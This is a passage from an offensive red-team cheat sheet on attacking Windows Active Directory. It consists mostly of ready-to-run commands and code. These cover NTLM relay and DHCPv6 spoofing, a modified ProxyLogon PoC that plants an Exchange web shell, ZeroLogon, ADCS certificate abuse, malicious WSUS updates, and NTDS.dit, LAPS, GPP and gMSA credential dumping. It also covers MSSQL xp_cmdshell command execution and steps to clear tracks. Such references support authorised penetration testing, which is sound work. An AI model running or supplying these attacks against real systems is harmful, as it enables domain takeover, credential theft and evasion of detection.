self.__output = 'C:\\Users\\Public\\Documents\\access__output'
self.__answerTMP = b''
```

- 4. Start the attack and hope for an opportunity to relay a high privileged account (impacket): `python3 ntlmrelayx.py -smb2support -tf targets.txt -c "powershell.exe <command>"`

Dump hashes via SMB relay attack:

This technique can dump the local system hashes.

- (info) This technique requires that SMB singing is disabled on the target system. Furthermore, the relayed authentication can't be used for the same target system as it originates from, and only relayed users with admin privileges are useful for this purpose.
- 1. Start the relay server: `python3 ntlmrelayx.py -t smb://<target IP with SMB singing off> -smb2support`
- 2. Use any available method (.lnk files, wpad spoofing, etc.) to capture an authentication request and hope its from a user with high privileges on the target system.

Initial foothold via Cisco phone relay attack:

Search for SSH keys in Cisco phone configuration files, gain access to the Cisco Unified Communications Manager (CUCM) web interface, and capture the LDAP domain credentials of the configured service account.

- 1. Automatically download and parse configuration files from Cisco phone systems searching for SSH credentials. Try all the following scan options (SeeYouCM-Thief):
    - Attempt to download every config in the listing: `./thief.py -H <Cisco CUCM Server IP> (--verbose)`
    - Parse the web interface for the CUCM address and do a reverse lookup for other phones in the same subnet: `./thief.py --phone <Cisco IP Phoner> (--verbose)`
    - Specify a subnet to scan with reverse lookups: `./thief.py --subnet <subnet to scan>`
- 2. If you found SSH credentials, use the creds to login to the CUCM web interface
- 3. Start Responder to capture the plaintext creds of the service account (Responder): `python Responder.py -I <interface> -v`
- 4. In the CUCM web interface, go to the LDAP Authentication settings and update one of the servers to be the IP address of Responder and click save.
- 5. If successful, check if the credentials are valid domain creds.

Initial local admin access via DHCPv6 spoofing and DNS poisoning:

This attack leverages DHCPv6 spoofing to provide a booting or newly plugged in computer on the network a fake IP config that points to the attacker system. Furthermore, DNS poisosing is used to trick the client in requesting every domain name resolution in which the attacker server jumps in and uses that request in a relay attack.

- (info) IPv6 must be enabled and not used within the local network, for RBCD the CA Role must be installed on the target DC, the MachineAccountQuota must not be 0, and smb signing must be disabled on the target computer. It is recommended to run this attack during a period of the day (e.g. morning) where the target system(s) most likely start-up and thereby request for a DHCPv6 address. However, keep it short (max. 5 min) this tool can DoS the network.
- 1. Check which systems have SMB signing disabled and create a list (CrackMapExec): `crackmapexec smb <target ip range> --gen-relay-list targets.txt`
- 2. Start the relay server:
    - Option 1: RBCD + LDAPS: no creds required, new computer account is automatically created (impacket): `python3 ntlmrelayx.py -6 -wh <not existing host (e.g. notexist)> -`

smb2support -tf targets.txt -t ldaps://<FQDN DC> --delegate-access (--no-da) (--no-acl) (--no-validate-privs)

- Option 2: RBCD + LDAP: credentials required, new computer account must be created manually:
  - 1. Create new machine account based on the already owned domain user/computer account (impacket): python3 addcomputer.py -dc-ip <DC IP> -method SAMR -computer-pass <new password> -computer-name <new computer account name> <FQDN>/<owned account name> (-hashes <NTLM hash>)
  - 2. Run ntlmrelayx (impacket): python ntlmrelayx.py python3 ntlmrelayx.py -6 -wh <not existing host (e.g. notexist)> -smb2support -tf targets.txt -t ldap://<FQDN DC> --escalate-user <name of created computer account>\$ --delegate-access (--no-da) (--no-acl) (--no-validate-privs)
- Option 3: Dump local SAM via admin account relay (impacket): python3 ntlmrelayx.py -6 -wh <not existing host (e.g. testhost)> -smb2support -tf targets.txt

- 3. Start DHCPv6 spoofer (use "-hw" parameter to whitelist target computers) (mitm6): mitm6 -i <interface to listen on> -d <domain> (-hw <FQDN of target computer account>) --ignore-nofqdn
- 4. Use the created or elevated computer account to impersonate any user on the target system via S4U2Proxy or leverage the dumped hashes

Remote workstation takeover via WebClient and relay attack:

- 1. Enumerate for computers with the WebClient service running:
  - Option 1: from attack Linux system (webclientscanner): (proxychains4) webclientservicescanner <FQDN>/<username>@<network ip>/24 -dc-ip <IP DC>
  - Option 2: From beacon (GetWebDAVStatus): GetWebDAVStatus.exe <servername, servername>
- 2. (optional) it is possible to trick a system in enabling its WebClient service, by uploading the following script in a widely accessible directory and give it the name "Documents.searchConnector-ms". Every time a user visits that directory the WebClient service of that user's machine will start automatically:

```
<?xml version="1.0" encoding="UTF-8"?> <searchConnectorDescription
xmlns="http://schemas.microsoft.com/windows/2009/searchConnector"> <iconReference>imageres.dll,-
1002</iconReference> <description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem> <includeInStartMenuScope>true</includeInStartMenuScope>
<iconReference>https://192.168.10.10/0001.ico</iconReference> <templateInfo> <folderType>{91475FE5-586B-
4EBA-8D75-D17434B8CDF6}</folderType> </templateInfo> <simpleLocation> <url>https://www.intranet.net/</url>
</simpleLocation> </searchConnectorDescription>
```

- 3. Start relay server that will convert http traffic to ldaps, create a new computer account on behalf of the target system and set RBCD (impacket): python3 ntlmrelayx.py -smb2support -t ldaps://<FQDN DC> --delegate-access
- 4. Start Responder to establish host name resolution to your own attacker system (turn smb and http off in Responder.conf) (Responder): python Responder.py -I <interface> -v
- 5. Coerce a target system with the WebClient running to make a webdav (http) based authentication request to your relay server. Use any of the HTTP based relay methods discribed in the "Remotely coerce target computer to authenticate to an arbitrary system" section.
- 6. Use the created computer account to impersonate any user on the target system via S4U2Proxy (impacket): python3 getST.py -spn host/<FQDN target system> -dc-ip <IP DC> -impersonate Administrator <FQDN>/<name new computer account>\$
- 7. Export the ticket into your environment and use any impacket tool (e.g. secretsdump) in combination with the '-k' option.

Exchange HTTP coerce feature combined with NTLM-relay attack:

This technique leverages the ability to coerce an Exchange server based on the Exchange "PushSubscription" feature to authenticate to an arbitrary URL over HTTP. This makes it possible to coerce the Exchange server to authenticate to a NTLM-relay server and (mis)use the default high privileges of the Exchange server to set the "replicate" privileges to an arbitrary AD account. With the DCSync privileges set, it is possible to dump all the hashes from the domain.

- (info) for this attack to work, you need control over an AD user that has a mailbox on the target Exchange server. Furthermore, the Exchange server must not be patched for the PushSubscription coerce vulnerability.
- 1. Start NTLM-relayx server and specify the user that gets the DCSync privileges (instead of escalating an user it is also possible to use the "delegate-access" option with LDAPS and this will make both a new user account (with DCSync) and a computer account (with RBCD for the Exchange server)) (impacket): `python3 ntlmrelayx.py -smb2support -t ldap://<FQDN DC> --escalate-user <username to set DCSync to>`
- 2. Coerce the Exchange server to make an authenticated request to the relay server (the account must have a mailbox) (PrivExchange): `python3 privexchange.py -ah <own ip> <FQDN Exchange server> -u <username> -d <FQDN> (--hashes :<NTLM>)`
- 3. Use the obtained DCsync privilege to dump domain hashes.

Drop-the-MIC: DC to DC:

MIC (Message Integrity Code) is a NTLM authentication security control that prevents modification of the included 3 NTLM messages based on a signature. This must prevent relaying SMB authenticaton traffic to LDAP. However, it is possible to modify the NTLM authentication packets and bypassing MIC without invalidating the authentication. This makes it possible to relay SMB authentication to LDAP.

- (info): one of the target DC's must be vulnerable to a coerce technique, the target should be vulnerable for MIC bypass (CVE2019-1040), and there should be at least 2 DCs in the domain.
- 1. Start ntlmrelayx to relay the SMB connection from the second DC to LDAP (bypass MIC):
    - Option 1: Create new computer account (requires LDAPS) (impacket): `python3 ntlmrelayx.py -t ldaps://<FQDN DC01> --remove-mic --delegate-access -smb2support (--no-da) (--no-acl) (--no-validate-privs)`
    - Option 2: Elevate user account (doesn't require LDAPS): `python3 ntlmrelayx.py -t ldap://<FQDN DC01> --remove-mic --escalate-user <username> -smb2support`
- 2. Use any coerce technique like SpoolSample (krbrelayx): `python printerbug.py <FQDN>/<low priv account>@<DC02 ip or FQDN> <own ip> (-hashes <NTLM>)`
- 3. If a new computer account with RBCD rights was created, generate a TGT and impersonate any high priv users agianst DC02 (impacket): `getST.py -spn host/<FQDN DC02> -dc-ip <IP DC02> -impersonate Administrator <FQDN>/<created computer account with constrained delegation permissions>\$`
- 4. Export the ticket into your environment and use any impacket tool (e.g. secretsdump) in combination with the '-k' option.
- 5. Restore made changes:
    - 1. Clear 'msds-allowedtoactonbehalfofotheridentity' attribute on DC02 (PowerViewDev): `Get-DomainComputer <FQDN DC02>| Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose`
    - 2. Verify if clearing attribute was successful (PS): `Get-ADComputer <DC02> -Properties PrincipalsAllowedToDelegateToAccount`
    - 3. Delete created computer account (PS): `Remove-ADComputer -Identity <name computer account without $> -confirm:$false`
    - 4. Verify if computer account is deleted (PS): `Get-ADComputer -Identity <name computer account without $>`

Drop-the-MIC: Exchange to DC:

- 1. Start ntlmrelayx to relay the SMB connection to LDAP (impacket): `sudo ntlmrelayx.py --remove-mic --escalate-user <username to add DCSync> -t ldap://<FQDN or IP target DC> -smb2support`
- 2. Use any coerce technique like SpoolSample (krbrelayx): `printerbug.py <FQDN>/<account name you control>@<IP Exchange server> <own ip>`
- 3. Abuse the created computer account to dump hashes on the target DC.
- 4. Restore domain ACL object to original state and delete the added "Replication-Get-Changes-All" and "Replicating-Directory-Changes" permissions of the leveraged user account

Privilege escalation via vulnerable ADCS templates (ESC1):

This technique exploits vulnerable ADCS templates which leads to the compromise of any domain account. To mark a template as vulnerable, the following things should apply: [1] the 'pKIExtendedKeyUsage' options must allow for 'Smart Card Logon' and/or 'Client Authentication'; [2] not privileged groups (e.g. Domain Users) have the 'Enrollment Permissions' set; and [3] the 'msPKI-Certificate-Name-Flag' is set with the option 'ENROLLEE_SUPPLIES_SUBJECT' which allows for changing the ticket to any user/computer account in the domain.

- (info) As an alterative approach, don't impersonate a DA account but instead impersonate a DC computer account. After obtaining the NTLM hash of the DC, perform DCSync to another DC for better opsec
- 1. Check if ADCS is installed and identify vulnerable/abusable certificate templates using default low-privileged groups or from the current user's context (Certify): `Certify.exe find /vulnerable (/currentuser)`
- 2. Request certificate for the vulnerable template and specify a DA as the alternate principle (Certify): `Certify.exe request /ca:<CA Name> /template:<vuln template name> /altname:<DA username>`
- 3. Copy the returned certificate (-----BEGIN RSA PRIVATE KEY----- … -----END CERTIFICATE-----), save it in a file called 'cert.pem' and convert it to a .pfx file (don't enter a password): `openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx`
- 4. Upload the cert.pfx file to the current compromised system
- 5. Request a TGT for the 'altname' user (Rubeus): `Rubeus.exe asktgt /user:<altname> /certificate:C:\users\public\documents\cert.pfx (/nowrap | /ptt)`

Privilege escalation via ADCS HTTP end-point attack (ESC8):

This NTLM-relay attack uses the ADCS HTTP enrollment interface to request a client authentication certificate based on the 'User' or 'Machine' certificate templates (these templates are enrolled by default, support 'Client Authentication' and can be enrolled by low-priv users and computer accounts).

- 1. List and verify if a vulnerable template is enrolled (Certipy): `certipy find '<FQDN>'/'<username>':'<password>'@'<IP or FQDN of CA server>'`
- 2. Start the relay server that points to the CA server (impacket): `python3 ntlmrelayx.py -t "http://<FQDN CA server>/certsrv/certfnsh.asp" --adcs --template ">vulnerable template name (e.g. User)>"`
- 3. Coerce authentication from another high priveged server that is not the CA server (e.g. via PetitPotam, SpoolSample or PushSubscription).
- 4. If successful, copy the returned base64 encoded certicate string and paste it in a file called 'cert.pem'
- 5. Use the obtained certificate to request a TGT for the relayed computer account (PKINITtools): `(proxychains4) python3 gettgtpkinit.py <FQDN>/<relayed computer name>\$ -pfx-base64 $(cat cert.pem) -dc-ip <dc-ip> out_tgt.ccache`
- 6. Import TGT in your current environment: `export KRB5CCNAME=out_tgt.ccache`
- 7. Request a TGS for a user that is an administrator (e.g. DA) on the relayed computer (PKINITtools): `(proxychains4) python3 gets4uticket.py kerberos+ccache://<FQDN>\\<relayed computer`

name>\$:out_tgt.ccache@<IP DC> host/<FQDN relayed computer>@<FQDN> Administrator@<FQDN> out_host.ccache -v

- 8. Import the new ticket in your current environment: `export KRB5CCNAME=out_host.ccache`
- 9. Run any tool that supports kerberos authentication against the relayed computer (e.g. impacket's WMIexec): `impacket-wmiexec -nooutput -k -no-pass -dc-ip <DC IP> <FQDN>/Administrator@<FQDN relay server> "powershell.exe <command to run>"`

Specific AD related server attacks:

DC: sAMAccountName spoofing + PAC Abuse (CVE-2021-42287/CVE-2021-42278):

The frist vulnerability allows an attacker to impersonate a domain controller using computer account sAMAccountName spoofing. The second vulnerability affects the Kerberos Privilege Attribute Certificate (PAC) and allows an attacker to impersonate domain controllers. This makes it possible to impersonate any user on any service on any system in the domain.

- (info) in this example the attacked system is a DC and the used service LDAP.
- 1. Create machine account (Powermad.ps1): `$pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force; New-MachineAccount -MachineAccount TestSPN -Password $pass -Domain hidro.local -DomainController dc01.hidro.local -Verbose`
- 2. Clear any SPN's on the machine account (PowerView): `Set-DomainObject "CN=TestSPN,CN=Computers,DC=hidro,DC=local" -Clear 'serviceprincipalname' -Verbose`
- 3. Change machine account samaccountname (Powermad): `Set-MachineAccountAttribute -MachineAccount TestSPN -Value "DC01" -Attribute samaccountname -Verbose`
- 4. Request a TGT for that newly created machine account (Rubeus): `rubeus.exe asktgt /user:DC01 /password:Password123 /domain:hidro.local /dc:dc01.hidro.local /nowrap`
- 5. Change the machine accounts samaccountname back (Powermad): `Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose`
- 6. Request an S4U2self ticket using the retrieved TGT and get an ST encrypted with the DC's key (for cobalt strike use the 'make_token' + 'kerberos_ticket_use' method) (Rubeus): `Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:dc01.hidro.local /self /altservice:LDAP/dc01.hidro.local /ticket:<ticking string> (/ptt) (/nowrap)`
- 7. It is now possible to perform action under the context of the impersonated account (e.g. DCSync)
- 8. (optional) delete the created computer account with any obtained elevated privileges.

Exchange: ProxyLogon exploit:

ProxyLogon (CVE-2021-26855) is a vulnerability in the Microsoft Exchange Server that allow an attacker to bypass authentication and impersonating the local administrator. This exploit is combined with a second vulnerability (CVE-2021-27065) to get RCE and a third vulnerability (WriteDACL) to privesc to DA. The privilege escalation to DA is possible because of the default high privileged groups (e.g. Exchange Windows Permissions) that the Exchange computer account is a member of. These groups have WriteDACL access on the Domain object in Active Directory and therefore allow granting DCSync rights to any account.

- (info) this technique requires a valid email address that is known to the target exchange server.
- 1. Obtain a valid (domain user) email address and the FQDN or IP address of the target Exchange server
- 2. Download and modify the following PoC and replace all the code from line 196 to 215 with:

```
payload = "<COMMAND PLACEHOLDER>"

print("[*] Looks good, executing payload..")
data=requests.post(shell_url,data={"code":"Response.Write(new
ActiveXObject(\"WScript.Shell\").exec(\"%s\").StdOut.ReadAll());"%(payload)},verify=False)
```

```
time.sleep(5)

if "OAB (Default Web Site)" not in data.text:
    print("[-] Failed RCE, either the server is not vulnerable or something is wrong with the payload.")
else:
    print("[+] Payload executed!")
    print("[+] Output from executed command in CMD: " + data.text.split('Name')[0])
```

- 3. Run the script (this will place a shell script named "exchmshell.aspx" in the following folder "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\") (ExhangeSheller): `sudo python3 ExchangeSheller.py <FQDN/IP exchange server (e.g. exchange.hidro.local)> <valid email (e.g. user@hidro.local)>`
- 4. If successful, it is now possible to escalate to DA and leverage the default WriteDACL privileges of the Exchange server:
    - 1. Add DCSync to the Exchange server computer account or any other user/computer account you control (if you get an "Access is denied" message most likely the modification was still successful) (PowerView_dev): `Add-DomainObjectAcl -PrincipalIdentity <name exchange server (e.g. EXCHANGE01)> -Rights DCSync`
    - 2. Dump DA hash (or use Impackets secretsdump.py): `Invoke-Mimikatz -Command '"lsadump::dcsync /user:hidro\Administrator"'`
- 5. Clear tracks:
    - 1. Delete added DCSync privileges (if you get an "Access is denied" message most likely the modification was still successful) (PowerView_dev): `Remove-DomainObjectAcl -PrincipalIdentity <name exchange server> -Rights DCSync`
    - 2. Delete the Exchange exploit shell: `del C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\exchmshell.aspx`

ZeroLogon DC exploit:

This vulnerability allows an unauthenticated attacker with network access to a domain controller, to establish a vulnerable Netlogon session and eventually gain domain administrator privileges.

- Option 1: **From beacon**:
    - 1. Verify if the target DC is vulnerable (for PoshC2: run-exe SharpKatz.Program) (SharpKatz): `SharpKatz --Command zerologon --Mode check --Target <FQDN target DC> --MachineAccount <DC name>$`
    - 2. Exploit DC by setting the system hash to null and dump hash for specified domain user (SharpKatz): `SharpKatz --Command zerologon --Mode check --Target <FQDN target DC> --MachineAccount <DC name>$ --Domain <FQDN> --User <username to dump hash> --DomainController <FQDN target DC>`
- Option 2: **From attacker linux system**:
    - (info) make sure the most recent Impacket release installed:
    - 1. (optional) test if target is vulnerable based on the following script (only performs netlogon authentication bypass): `python3 zerologon_tester.py <DC name> <DC IP>`
    - 2. Set the DC machine account password to zero (zerologon): `python3 set_empty_pw.py <DC NETBIOS name (e.g. DC01)> <target DC ip>`
    - 3. If successful, dump all hashes with the zerod DC machine account (impacket): `secretsdump.py -just-dc <domain>/<DC NETBIOS name>\$@<target DC ip>`
    - 4. Copy the dumped DA hash and again dump all hashes in the context of the DA to obtain the DC machine hex password to fix the DC (impacket): `secretsdump.py <DOMAIN>/Administrator@<DC IP> -hashes <NTLM>`

    - 5. From the latest secretsdump output, copy the "plain_password_hex" string of the DC machine account and restore it (zerologon): `python3 reinstall_original_pw.py <DC name> <target DC ip> <hex password>`

Windows Software Update Service (WSUS) exploitation:

This technique targets a WSUS deployment that doesn't use SSL encryption to inject a malicious update via a MITM attack. As soon a system checks for available updates, a malicious update is served and executed. This can result in RCE.

- 1. Request the WSUS HTTP URL and verify if the updates are pushed without SSL (if nothing is returned, WSUS is not used for updates): `reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer`
- 2. Create file with instructions for bettercap and name it WSUS.cap:

```
set arp.spoof.targets <target ip or range of system to serve malicious update to>
arp.spoof on

set any.proxy.src_port <WSUS port (e.g. 8530)>
set any.proxy.dst_port 8530
set any.proxy.dst_address <own ip>
any.proxy on
```

- 3. Serve a malicious update and execute a custom command (the binary that is served can be any binary as long its signed by MS like PsExec) (pywsus): `python3 pywsus.py -H <own ip> -p 8530 -e PsExec64.exe -c '/acceptuela /s cmd.exe /c "<command>"'`
- 4. Start the MITM attack (bettercap): `./bettercap --iface <interface> --caplet WSUS.cap`
- 5. Keep this running and as soon a system checks for new updates, the malicious update is served and the command is executed.

AD secrets harvesting:

NTDS dump via shadow copy:

Instead of dumping the NTDS.dit file remotely via secretsdump with the likelyhood of being detected, use this technique that focusses on using shadow copies and dumping hashes locally.

- (info) this method requires elevated privileges on the target DC. Furthermore, any remote exection method can be used to run the commands (in this example wmic is used).
- 1. Check for excisting shadow copies: `wmic /node:"<computer>" /user:"<domain>\<username>" /password:"<password>" process call create "cmd /c vssadmin list shadows >> c:\users\public\documents\log.txt"`
- 2. If not present, create new shadow copy: `wmic /node:"<DC name>" /user:"<domain>\<username>" /password:"<password>" process call create "cmd /c vssadmin create shadow /for=C: 2>&1"`
- 3. From the shadow copy, copy the ntds.dit, system and security files: `wmic /node:"<DC name>" /user:"<domain>\<username>" /password:"<password>" process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\users\public\documents\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\users\public\documents\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\users\public\documents\"`
- 4. (optional) pack and encrypt shadow files:
    - 1. Upload the 7za.exe standalone binary to the current system.

    - 2. Remotely archive the copied files into a .zip file: `7za.exe a -tzip -mx5 \\DC01\C$\users\public\docs.zip \\DC01\C$\users\public\documents -pPassword123`
- 5. Download the docs.zip file or all the individual files to the local attacker system and delete the ntds.dit, system, security and docs.zip files on the target system
- 6. Locally extract all the hashes (impacket): `python3 secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL`

Remote secrets dumping:

- Option 1: **From beacon context**:
    - DCSync: SharpKatz.exe:
        - Dump hash of single account (for PoshC2: run-exe SharpKatz.Program): `SharpKatz --Command dcsync --User <username> --Domain <FQDN> --DomainController <FQDN DC>`
        - Extract all hashes and store them in a file (can also be used with alternative user creds for authentication) (for PoshC2: run-exe SharpKatz.Program): `SharpKatz --Command dcsync --Domain userdomain --DomainController dc (--AuthUser <username> --AuthDomain <domain> --AuthPassword <password>)`
    - Remote SAM + LSA Secrets dumping:
        - Option 1: SharpSecDump: dump hashes like secretsdump (for PoshC2: run-exe SharpSecDump.RegQueryValueDemo): `SharpSecDump -target=<target ip> -u=<username> -p=<password> -d=<domain>`
        - Option 2: Invoke-Mimikatz: `Invoke-Mimikatz -Computername <target system name> -Command "<mimikatz command>"`
- Option 2: **From attacker Linux system**: dump SAM/LSA/NTDS.dit/etc. (if possible its recommended to use a DC account for this) (Impacket): `secretsdump.py "<domain name>/<username>@<IP target>" (-hashes <NTLM>)`

Abusing Local Administrator Password Management Solution (LAPS):

LAPS provides rules for managing passwords for local administrator across computers in the domain. If a Administrator user password is expired, a new random password is generated and set up and stored in AD as an attribute. These attributes can be read (in clear text) by users with the right privileges (e.g. DA's).

- (info) it is required to have some sort of read privilege on the target system's LAPS attribute.
- 1. To idenfity if LAPS is applied to a machine, check if the "ms-Mcs-AdmPwdExpirationTime" attribute is not null (can also be done with BloodHound) (PowerView): `Get-DomainObject -SearchBase "LDAP://DC=dev,DC=cyberbotic,DC=io" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname`
- 2. Check for which local account the LAPS password applies (this is not always the local Administrator account). If you already on a system with LAPS enabled, check the local users with admin privs or remotely list them.
- 3. Retrieve the password from "ms-Mcs-AdmPwd" attributes (make sure you are in the right context to read the "ms-Mcs-AdmPwn" property):
    - Option 1: CS BOF (C2-Tool-Collection): `Lapsdump <ip or hostname>`
    - Option 2: CS C# (SharpLAPS): `execute-assembly SharpLAPS.exe /host:<IP DC> (/user:<domain>\<user> /pass:<password>)`
    - Option 3: From beacon (SharpView): `Get-DomainObject -Identity <target machine name> -Properties ms-Mcs-AdmPwd`

    - Option 4: From attacker system (CrackMapExec): `crackmapexec smb <target ip> -u <username> -H <NTLM> -M laps`
- 4. Authenticate locally (.\admin) to the target system with the associated LAPS account and specify the returned LAPS password.

Stored Group Policy Registry Preference Passwords:

- Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences (Get-GPPAutologon.ps1): `Get-GPPAutologon`
- Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences (use '-Server' for remote retrieval) (Get-GPPPassword.ps1): `Get-GPPPassword (-Server <FQDN target system>)`

Attacking AD Group Managed Service Accounts (gMTA):

In Active Directory, Group Managed Service Accounts (gMSA's) have their passwords stored in a LDAP property called msDS-ManagedPassword which automatically get resets by the DC's every 30 days. These passwords are retrievable by authorized administrators and by the servers who they are installed on. msDS-ManagedPassword is an encrypted data blob called MSDS-MANAGEDPASSWORD_BLOB and it's only retrievable when the connection is secured. It is a common vulnerability that gMSA have more privileges than they should have and sometimes other AD groups can read the msDS-ManagedPassword property.

- (info) to successfully exploit this vulnerability, it is mandatory to either coerce a NTLM authentication request over HTTP from a privileged system or have control over an account with high enough privileges to read the msDS-ManagedPassword property.
- 1. Dump gMSA passwords:
    - Option 1: **from beacon**: Extract GMSA NT hash (GMSAPasswordReader): `GMSAPasswordReader.exe --accountname <target GMSA account>`
    - Option 2: **from attacker system**: Dump the gMSA password blobs and parse the value to a NTLM hash (the user must have enough privileges to do this) (gMSADumper): `python3 gMSADumper.py -u <usename> -p <password or NTLM hash> -d <FQDN> -l <FQDN target DC>`
- 2. Use the compromised NTLM hashes (if enough privileges) or exploit available UD or CD rights.

Database attacks:

MSSQL database:

While enumerating keep the following things in mind: OS commands from inside the MSSQL Server runs in the context of the MSSQL Server service account; MSSQL Server service accounts have sysadmin privileges by default; Organizations usually utilize a single domain account to run many MSSQL Servers.

Run SQL query methods:

- Option 1: **SQLRecon**: CSharp: `SQLRecon.exe -a Windows -s <MSSQL server name> -d master -m query -o "<query>"`
- Option 2: **PowerUpSQL**: PowerShell (for poshc2 use PowerUpSQL_Full.ps1): `Get-SQLQuery -Verbose -Instance "<database instance name>" (-Username <(domain)\<username> -Password <password>) -Q "<normal MSSQL query>"`
- Option 3: **impacket**: Python: `impacket-mssqlclient.py (<DOMAIN>/)<USERNAME>:<PASSWORD>@<IP> (-windows-auth)`

- Option 4: SQLmap: can be used in the case MSSQL server can be reached via a SQL injection vulnerability on a webpage: `sqlmap -r <web.req> --sql-shell`

Database instance and access enumeration:

- List as what user you are logged in, mapped as and what roles exist (SQLRecon): `SQLRecon.exe -a Windows -s <MSSQL server name> -d master -m whoami`
- List running SQL servers:
  - Identify domain joined SQL servers (PowerUpSQL): `Get-SQLInstanceDomain -Verbose`
  - Identify local running SQL servers (PowerUpSQL): `Get-SQLInstanceLocal -Verbose`
- Gather more information about the found instance (PowerUpSQL): `Get-SQLServerInfo -Instance "<database instance name>"`

Escalate from public user to sysadmin:

- Audit the MSSQL database instance for vulnerabilities (PowerUpSQL): `Invoke-SQLAudit -Instance <database instance name>`
- Scan for privilege escalation vulnerabilities and exploit them automatically (if successful the current domain user will be added to the MSSQL Login users with sysadmin privileges and can only be deleted if the domain user is logged off) (PowerUpSQL): `Invoke-SQLEscalatePriv -Verbose -Instance <database instance name>`
- Check for impersonate privilege misconfiguration (if a user account with 'public' access to the MSSQL database has the 'Impersonate' privilege over a account with higer privs, this can be abused):
  - Option 1: SQLRecon:
    - Enumerate any user accounts that can be impersonated: `<normal tool syntax> -m impersonate`
    - Enumerate privs user that can be impersonated: `<normal tool syntax> -m iwhoami -i <user to impersonate>`
    - Execute an arbitrary SQL query as an impersonated user: `<normal tool syntax> -m iquery -i <user to impersonate> -o "<query>"`
  - Option 2: SQL query:
    - 1. Check which logins (not user's) allow for impersonation (SQL query): `SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'`
    - 2. Impersonation:
      - Database login (SQL query): `EXECUTE AS LOGIN = '<login name>';`
      - Database user (SQL query): `use msdb; EXECUTE AS USER = 'dbo';`

Gather MSSQL login names and hashes:

- List login names (SQL query): `select sp.name as login, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;`
- Dump hashes if enough privileges (SQL query): `select sp.name as login, sl.password_hash, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from`

```
sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id
where sp.type not in ('G', 'R') order by sp.name;
```

Escalate from MSSQL sysadmin to MSSQL service account:

- Option 1: **OS command execution via xp_cmdshell**:
  - 1. Enable xp_cmdshell for code execution (SQL query):
    - `EXEC sp_configure 'show advanced options', '1' RECONFIGURE`
    - `EXEC sp_configure 'xp_cmdshell', '1' RECONFIGURE`
  - 2. Verify if xp_cmdshell is enabled (SQL query): `SELECT name, CONVERT(INT, ISNULL(value, value_in_use)) AS IsConfigured FROM sys.configurations WHERE name = 'xp_cmdshell';`
  - 3. Execute commands (SQL query): `EXEC xp_cmdshell '<command>' ;`
- Option 2: **OS command via OLE-based procedure**:
  - (info) because the 'xp_cmdshell' technique is well known, it may be monitored or removed completely and therefore this method, based on sp_OACreate and sp_OAMethod, may still work.
  - 1. Enable OLE (SQL query): `EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;`
  - 2. Run code (SQL query): `DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c "<command to run>"';`
- Option 3: **Relay/Capture NetNTLM hash via xp_dirtree :**
  - Relay MSSQL service account authentication in an attempt to get local admin access to the target system.
    - (info) For this relay attack to work, it is mandatory that the target server has smb signing off and the relayed MSSQL service account is local admin there.
    - 1. Start Responder (turn SMB and HTTP off): `python Responder.py -I <interface> -v`
    - 2. Follow the 'Get initial system level access via SMB relay attack' instructions to setup ntlmrelayx
    - 3. Run the following query to start the relay attack (SQL query): `EXEC xp_dirtree '\\<IP to reach responder>\test', 1, 1`
  - Capture NetNTLM hash:
    - 1. In an elevated beacon run Inveigh or use Responder (if the target server can reach it) to capture the NetNTLM hash (Inveigh): `Inveigh.exe -DNS N -LLMNR N -LLMNRv6 N -HTTP N -FileOutput N -MachineAccounts Y`
    - 2. Run the following query to capture the hash (SQL query): `EXEC xp_dirtree '\\<ip inveigh>\test', 1, 1`

Identify linked MSSQL servers:

SQL Servers have a concept called "Linked Servers", which allows a database instance to access data from an external source like another MSSQL server. These can be located in other domains, forests or in the cloud. Compromising a linked MSSQL server is also a great way for moving laterally.

- Option 1: SQLRecon: `SQLRecon.exe -a Windows -s <MSSQL server name> -d master -m links`
- Option 2: SQL query: `SELECT srvname FROM master..sysservers;`
- Option 3: PowerUpSQL: `Get-SQLServerLinkCrawl -Instance "<database instance name>"`

Escalate from MSSQL sysadmin to MSSQL service account via linked MSSQL server:

- (info) There is no max to the linked servers that can be reached and exploited this way but pay close attention to the correctness of the used quotes.
- Enable 'xp_cmdshell' on SQL linked server:
    - (info) this method requires that the 'RPC out' function is enabled on both the local- and the remote database instance. This is not the default. Without it, RCE is not possible.
    - Option 1: SQLRecon:
        - 1. See what user you are logged in as on the linked SQL server: `<normal tool syntax> -l <target MSSQL server> -m lwhoami`
        - 2. Enable RPC and RPC out: `<normal tool syntax> -l <target MSSQL server> -m lenablerpc`
        - 3. Enable xp_cmdshell: `<normal tool syntax> -l <target MSSQL server> -m lenablexp`
    - Option 2: SQL query:
        - 1. Check if 'RPC out' is enabled on the current and the remote database (without openquery syntax for current database) (SQL query): `select * from openquery("<target MSSQL server>",'select srvname,rpc,rpcout from master..sysservers')`
